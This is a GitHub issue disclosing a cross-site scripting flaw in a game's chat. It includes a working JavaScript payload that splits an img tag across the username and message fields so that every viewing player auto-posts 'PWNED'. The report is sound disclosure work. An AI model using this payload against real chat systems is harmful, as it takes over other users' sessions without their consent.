Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS Vulnerability #557

Open
kee-reel opened this issue Jan 14, 2025 · 1 comment
Open

XSS Vulnerability #557

kee-reel opened this issue Jan 14, 2025 · 1 comment

Comments

@kee-reel
Copy link

There is a XSS vulnerability.

It is possible to bypass player message XSS sanitization by splitting HTML tag in 2 parts (username+message):

chat.socket.emit('playerChat', { 
        sender: '<img onerror="chat.socket.emit(`playerChat`, { sender: `${chat.player.name}`, message: `PWNED` });" src="', 
        message: '">' 
    }
);

It will force all players to post a message in the chat.

This is how it looks like:
image_2025-01-13_17-03-09

@WrathofGod
Copy link

WrathofGod commented Jan 14, 2025 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants